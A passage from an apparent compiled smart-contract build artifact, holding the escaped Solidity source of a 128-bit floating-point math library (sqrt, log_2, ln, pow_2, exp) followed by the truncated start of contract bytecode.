xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"}},\"version\":1}", - "bytecode": "0x60c060405268056bc75e2d631000006080527fd9e1ce17f2641f24ae83637ab66a2cca9c378b9f00000000000000000000000060a05234801561004157600080fd5b50604051611cb7380380611cb783398101604081905261006091610085565b600080546001600160a01b0319166001600160a01b03929092169190911790556100b3565b600060208284031215610096578081fd5b81516001600160a01b03811681146100ac578182fd5b9392505050565b60805160a05160601c611bb96100fe6000396000818161083f015281816108fa01528181610978015281816109eb01528181610a5901526116cd015260006101780152611bb96000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b578063651156bc1461006a575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b610072610074565b005b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156100c357600080fd5b505afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb91906118d2565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561013c57600080fd5b505afa158015610150573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017491906119d9565b90507f00000000000000000000000000000000000000000000000000000000000000008111156103385760008060009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660